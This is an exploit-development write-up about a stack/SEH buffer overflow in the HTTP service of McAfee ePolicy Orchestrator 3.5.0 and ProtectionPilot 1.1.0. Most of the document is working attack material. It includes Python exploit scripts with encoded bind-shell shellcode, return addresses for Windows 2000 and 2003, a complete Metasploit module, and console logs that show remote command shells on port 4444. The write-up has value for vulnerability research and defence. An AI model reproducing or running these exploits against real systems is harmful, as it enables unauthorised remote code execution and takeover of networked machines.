

McAfee Epolicy 3.5.0 / Protection Pilot 1.1.0

Buffer overflow

[mutts@offensive-security.com](mailto:mutts@offensive-security.com)

[xbxice@yahoo.com](mailto:xbxice@yahoo.com)

**Table of Contents:**

What is McAfee EPolicy 3.5.0 / Protection Pilot 1.1.0 ? .....3

Where's the problem ? .....3

Solving the limited buffer problem.....6

Exploit code .....10

Metasploit module.....12

Metasploit code execution.....14

## What is McAfee ePolicy 3.5.0 / Protection Pilot 1.1.0 ?

McAfee® ePolicy Orchestrator® is a security management solution that gives you a coordinated defense against malicious threats and attacks. As your central hub, you can keep protection up to date; configure and enforce protection policies; and monitor security status from one centralized console.

McAfee® ProtectionPilot™ makes it easy for you to keep your threat protection up to date. It keeps a constant watch on your network, automatically updating your systems without intervention. It's a simple way to deploy, monitor, and manage security for desktops, servers, and e-mail.

## Where's the problem ?

The McAfee HTTP server does not filter user input properly, and crashes once a "Source" HTTP header of 50-100 characters is sent. The following python script will crash the server with the resulting CPU registers (Figures 1,2).

```
#!/usr/bin/python
import socket
import os
import sys

shellcode = "\xCC"*1500

Guid_Buffer="\x41"*100

Source_Buffer= "a" * 96 + "\x42\x42\x42\x42" + "\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )

print "[+] Connecting to "+sys.argv[1]

expl.connect ( ( sys.argv[1], 81 ) )

print "[+] Sending Evil Buffer\n"

expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \
  User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
  AgentGuid='+Guid_Buffer+'\r\n \
  Source='+Source_Buffer+'\r\n\r\n\r\n\r\n' )

expl.close()

print "[+] Payload Sent."
```

```

Registers (FPU)
EAX 44444444
ECX 02DFF0F4
EDX 02DFF0D0
EBX 00000000
ESP 02DFF08C
EBP 02DFF1A4 ASCII "DDDDDDDDDDDDDDDDDD"
ESI 00BE8C31
EDI 02DFF23D
EIP 60417F8D naisp32.60417F8D
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0038 32bit 7FFA5000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0
FST 0000 Cond 0 0 0 0 Err 0 0 0 0
FCW 027F Prec NEAR,53 Mask 1 1

```

(Figure 1)

SEH chain of thread 000007EC	
Address	SE handler
02DFF194	42424242

(Figure 2)

As Olly suggests, this is a vanilla SEH overflow. After pressing F9, we should see the EIP address change to our "\x42\x42\x42\x42" string (Figure 3).





Here's the corresponding memory dump, showing the original GET request :

Address	Hex dump	ASCII
03AA18C4	47 45 54 20 2F 73 70 69 70 65 2F 70 6B 67 20 48	GET /spipe/pkg H
03AA18D4	54 54 50 2F 31 2E 30 0D 0A 20 09 55 73 65 72 2D	TTP/1.0...User-
03AA18E4	41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34	Agent: Mozilla/4
03AA18F4	2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20	.0 (compatible;
03AA1904	53 50 49 50 45 2F 31 2E 30 0D 0A 20 09 41 67 65	SPIPE/1.0...Age
03AA1914	6E 74 47 75 69 64 3D 41 41 41 41 41 41 41 41 41	ntGuid=AAAAAAAA
03AA1924	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA
03AA1934	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA
03AA1944	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA
03AA1954	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA
03AA1964	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAA
03AA1974	41 41 41 41 41 41 41 41 41 41 0D 0A 20 09 53	AAAAAAAAAA...S
03AA1984	6F 75 72 63 65 3D 61 61 61 61 61 61 61 61 61 61	ource=aaaaaaaa
03AA1994	61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61	aaaaaaaaaaaaaaaa
03AA19A4	61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61	aaaaaaaaaaaaaaaa
03AA19B4	61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61	aaaaaaaaaaaaaaaa
03AA19C4	61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61	aaaaaaaaaaaaaaaa
03AA19D4	61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61	aaaaaaaaaaaaaaaa
03AA19E4	61 61 61 61 61 61 61 61 42 42 42 42 44 44 44 44	aaaaaaaaBBBBDDDD
03AA19F4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A04	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A14	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A24	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A34	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A44	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A54	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A64	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A74	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A84	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1A94	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1AA4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1AB4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1AC4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1AD4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1AE4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1AF4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B04	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B14	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B24	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B34	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B44	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B54	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B64	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B74	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B84	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1B94	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1BA4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1BB4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1BC4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1BD4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1BE4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1BF4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C04	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C14	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C24	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C34	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C44	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C54	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C64	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C74	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C84	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1C94	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD
03AA1CA4	44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44	DDDDDDDDDDDDDDDD

After a few liters of coffee, and waay too much sugar, we decided to use our initial 157 bytes of shellcode to patch the GET request currently in memory, and replace the G and E characters with a short jump. After this was done, we could then jump to the modified GET request in memory, land on the newly placed short jump, and subsequently end up in our "Source" buffer (shellcode).

Notice that:

```
0x02dff194 (EBX pointer) - 0x02dff098 (location of GET request) = 0xFC
```

The above operation translates to the following CPU instructions (and machine code):

```
8B83 04FFFFFF    MOV EAX,DWORD PTR DS:[EBX-FC]
C700 EB559090    MOV DWORD PTR DS:[EAX],909055EB
FF93 04FFFFFF    CALL DWORD PTR DS:[EBX-FC]
```

This raw shellcode contains a null terminator, and other filtered characters. Using the Metasploit payload encoder, we encode our 1<sup>st</sup> stage shellcode, and end up with:

```
$ ./msfencode -i jmp2 -e Pex -t c
[*] Using Msf::Encoder::Pex with final size of 44 bytes
"\x33\xc9\x83\xe9\xfb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d"
"\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
"\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5";
```

We summarize everything into the following code:

```
#!/usr/bin/python

import socket
import os
import sys

# Using Msf::Encoder::Pex with final size of 44 bytes
# 8B83 04FFFFFF    MOV EAX,DWORD PTR DS:[EBX-FC]
# C700 EB559090    MOV DWORD PTR DS:[EAX],909055EB
# FF93 04FFFFFF    CALL DWORD PTR DS:[EBX-FC]

sc1 = "\x33\xc9\x83\xe9\xfb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d"
sc1 += "\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
sc1 += "\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5"

shellcode = "\xcc"*1500

Guid_Buffer="\x41"*100
# 0x77e6f2a3 - JMP EBX - User32.dll Windows 2000 Server SP4

Source_Buffer= "a" * 92 + "\xeb\x08\x90\x90" + "\xa3\xf2\xe6\x77" + "\x90"*8 + sc1 + "\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
print "[+] Connecting to "+sys.argv[1]
expl.connect ( ( sys.argv[1], 81 ) )
print "[+] Sending Evil Buffer\n"
expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \
    User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
    AgentGuid='+Guid_Buffer+'\r\n \
    Source='+Source_Buffer+'\r\n\r\n\r\n' )
expl.close ()
print "[+] Payload Sent."
```

If all is well, the exploit should now land in our breakpoints ( "\xCC" x 1500), as can be seen in the accompanying Ollydbg video.

All that's left to do now is replace our 1400 breakpoints, with live, snarling, shell binding shellcode – to give the following result:

```
C:\>exploit.py 192.168.59.130
[+] Connecting to 192.168.59.130
[+] Sending Evil Buffer
[+] Payload Sent - check for shell on port 4444

C:\>nc -nv 192.168.59.130 4444
(UNKNOWN) [192.168.59.130] 4444 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . : 192.168.59.130
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.59.2

C:\WINNT\system32>
```

## Exploit code

```
#!/usr/bin/python
import socket
import os
import sys

# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */
sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xf4\x49\x49\x49\x49"
sc += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc += "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"
sc += "\x4e\x36\x46\x52\x46\x52\x4b\x48\x45\x44\x4e\x33\x4b\x38\x4e\x37"
sc += "\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x48"
sc += "\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58"
sc += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
sc += "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
sc += "\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48"
sc += "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34"
sc += "\x4b\x38\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
sc += "\x49\x58\x4e\x46\x46\x42\x4e\x51\x41\x36\x43\x4c\x41\x53\x4b\x4d"
sc += "\x46\x46\x4b\x48\x43\x34\x42\x33\x4b\x58\x42\x34\x4e\x50\x4b\x38"
sc += "\x42\x37\x4e\x51\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x35\x4a\x56"
sc += "\x50\x48\x50\x54\x50\x30\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x36"
sc += "\x43\x45\x48\x36\x4a\x46\x43\x43\x44\x43\x4a\x46\x47\x57\x43\x47"
sc += "\x44\x43\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
sc += "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e"
sc += "\x48\x46\x41\x48\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x36\x44\x50"
sc += "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45"
sc += "\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x35\x43\x45\x43\x54"
sc += "\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x41\x41"
sc += "\x4e\x35\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a"
sc += "\x4c\x41\x42\x57\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x46\x42\x51"
sc += "\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x32"
sc += "\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x45\x45\x45\x4f\x4f\x42\x4d"
sc += "\x4a\x36\x45\x4e\x49\x44\x48\x48\x49\x54\x47\x55\x4f\x4f\x48\x4d"
sc += "\x42\x35\x46\x55\x46\x55\x45\x35\x4f\x4f\x42\x4d\x43\x49\x4a\x56"
sc += "\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x55\x4f\x4f\x48\x4d\x45\x35"
sc += "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x36\x48\x56\x4a\x36\x43\x46"
sc += "\x4d\x56\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x45\x49\x52\x4e\x4c"
sc += "\x49\x38\x47\x4e\x4c\x36\x46\x34\x49\x48\x44\x4e\x41\x43\x42\x4c"
sc += "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x44\x4e\x42"
sc += "\x43\x49\x4d\x38\x4c\x37\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"
sc += "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x44\x4f\x4f"
sc += "\x48\x4d\x4b\x45\x47\x35\x44\x45\x41\x55\x41\x35\x41\x55\x4c\x56"
sc += "\x41\x50\x41\x55\x41\x45\x45\x45\x41\x35\x4f\x4f\x42\x4d\x4a\x36"
sc += "\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"
sc += "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x38\x47\x35\x4e\x4f"
```

```

sc += "\x43\x38\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
sc += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"
sc += "\x4f\x4f\x42\x4d\x5a"

# [*] Using Msf::Encoder::Pex with final size of 44 bytes
# 8B83 04FFFFFF    MOV EAX,DWORD PTR DS:[EBX-FC]
# C700 EB559090    MOV DWORD PTR DS:[EAX],909055EB
# FF93 04FFFFFF    CALL DWORD PTR DS:[EBX-FC]

sc1 = "\x33\xc9\x83\xe9\xfb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d"
sc1 += "\x39\xb4\xc5\x83\xee\xfc\xe2\xf4\xd6\xba\xb0\x3a\xa2\xc6\x73\xc5"
sc1 += "\xb6\x6c\x24\x55\xa2\xaa\xb0\x3a\xa2\xc6\xb4\xc5"

Guid_Buffer="\x90"*4 + sc + "\x90"*4

# 0x77e6f2a3 - JMP EBX - User32.dll Windows 2000 Server SP4
Source_Buffer= "a" * 92 + "\xeb\x08\x90\x90" + "\xa3\xf2\xe6\x77" + "\x90"*8 + sc1 + "\x44"*1300

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
print "[+] Connecting to "+sys.argv[1]
expl.connect ( ( sys.argv[1], 81 ) )
print "[+] Sending Evil Buffer"

expl.send ( 'GET /spipe/pkg HTTP/1.0\r\n \
    User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n \
    AgentGuid='+Guid_Buffer+'\r\n \
    Source='+Source_Buffer+'\r\n\r\n\r\n\r\n' )

expl.close()
print "[+] Payload Sent - check for a shell on port 4444"

```

## Metasploit module

The following is the Metasploit module, with targets for Windows 2000 and Windows 2003 SP1.

```
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mcafee_epolicy;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info =
{
  'Name' => 'McAfee ePolicy Orchestrator 3.5.0 / ProtectionPilot 1.1.0',
  'Version' => '$Revision: 1.0 $',
  'Authors' => [ 'muts <mati [at] see-security.com>', ],
  'Arch' => [ 'x86' ],
  'OS' => [ 'win32', 'win2000', 'win2003' ],
  'Priv' => 0,

  'UserOpts' =>
  {
    {
      'RHOST' => [1, 'ADDR', 'The target address'],
      'RPORT' => [1, 'PORT', 'The target port', 81],
      'SSL' => [0, 'BOOL', 'Use SSL'],
    },
  },

  'Payload' =>
  {
    {
      'Space' => 1480,
      'MinNops' => 0,
      'MaxNops' => 0,
      'BadChars' => "\x00\x0a\x0d\x20\x26\x2b\x26\x3d\x25\x8c\x3c\xff",
      'Keys' => ['+ws2ord'],
    },
  },

  'Description' => Pex::Text::Freeform(qq{
1.1.0. This is a stack overflow exploit for McAfee ePolicy Orchestrator 3.5.0 and ProtectionPilot
Tested on Windows 2000 SP4 and Windows 2003 SP1.
Based on the exploit by xbxice and muts.
}),

  'Refs' =>
  [
    ['OSVDB', 14238],
    ['BID', 7387],
    ['MIL', 11],
  ],

  'DefaultTarget' => 0,
  'Targets' =>
  [
    ['Win2k ePo 3.5.0/ProtPilot 1.1.0', 96, 0x601F7A0E],# jmp ebx in xmlutil.dll
    ['Windows 2000 SP4 English', 96, 0x77E6F28B],# jmp ebx in user32.dll VM
    ['Windows 2003 SP1 English', 96, 0x601EDBDA],# pop pop ret xmlutil.dll
  ],

  'Keys' => ['Mcafee','Network Associates'],

  'DisclosureDate' => 'Jul 17 2006',
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit {
  my $self = shift;
```

```

my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
    $self->PrintLine("[*] Failed to initialize the nop module.");
    return;
}

my $patch_get_shellcode =
    "\xeb\x03\x59\xeb\x05\xe8\xff\xff\xff\x4f\x49\x49\x49\x49".
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4b\x38\x43\x48\x46\x30".
    "\x4f\x4f\x4f\x4f\x4f\x4f\x47\x4c\x42\x50\x4b\x4e\x45\x55\x42\x59".
    "\x42\x49\x4f\x4f\x4f\x43\x59\x46\x50\x4f\x4f\x4f\x4f\x4f\x43\x58".
    "\x46\x4c\x46\x50\x49\x45\x4f\x4f\x41\x49\x45\x4f\x50\x4f\x4f\x4f".
    "\x4f\x4f\x5a";

if ($target->[2] == 1612667371) {

    $self->PrintLine("[*] Swapping 133t Shellcode for Windows2k3");

    $patch_get_shellcode =
        "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x48\xe9\xe8".
        "\x9e\x83\xeb\xfc\xe2\xf4\xc3\x6d\xcc\x56\x4b\xe9\xe8\x59\x48\x02".
        "\xbd\x0e\xd8\x16\x7c\xba\x80\xea\xe8\x9e";
    }

my $evil = "\x90" x 1300;
substr($evil, 92, 4, "\xeb\x06\x90\x90");
substr($evil, 96, 4, pack("V", $target->[2]));
substr($evil, 100, 4, "\x90\x90\x90\x90");
substr($evil, 104, 11, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
substr($evil, 115, 4, "\x90\x90\x90\x90");
substr($evil, 119, length($patch_get_shellcode), $patch_get_shellcode);

my $mutsnops = "\x90" x 64;

my $pattern = "GET /spipe/pkg HTTP/1.0\r\n";
$pattern .= "User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n";
$pattern .= "AgentGuid=".$mutsnops.$shellcode."\r\n";
$pattern .= "Source=".$evil."\r\n\r\n\r\n";

$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using 0x%.8x...", $target->[2]));

my $s = Msf::Socket::Tcp->new
(
    'PeerAddr' => $target_host,
    'PeerPort' => $target_port,
    'LocalPort' => $self->GetVar('CPORT'),
    'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
    $self->PrintLine("[*] Error creating socket: ' . $s->GetError);
    return;
}

$s->Send($pattern);
$s->Recv(-1, 20);
$s->Close();
return;
}

1;

```

The Metasploit code is rough and dirty, I don't know Perl, so I had to wing it.

## Metasploit code execution

```
$ ./msfcli mcafee_epolicy RHOST=192.168.59.130 PAYLOAD=win32_bind TARGET=0 E
[*] Starting Bind Handler.
[*] Trying Win2k ePo 3.5.0/ProtPilot 1.1.0 using 0x601f7a0e...
[*] Got connection from 192.168.59.1:2249 <-> 192.168.59.130:4444

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . : 192.168.59.130
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.59.2
C:\WINNT\system32>exit
exit
[*] Exiting Bind Handler.

$ ./msfcli mcafee_epolicy RHOST=192.168.59.135 PAYLOAD=win32_bind TARGET=2 E
[*] Starting Bind Handler.
[*] Swapping 133t Shellcode for Windows2k3
[*] Trying Windows 2003 SP1 English using 0x601edbd...
[*] Got connection from 192.168.59.1:2250 <-> 192.168.59.135:4444

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration
Ethernet adapter Local Area Connection:
    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . : 192.168.59.135
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.59.2

C:\WINDOWS\system32>
```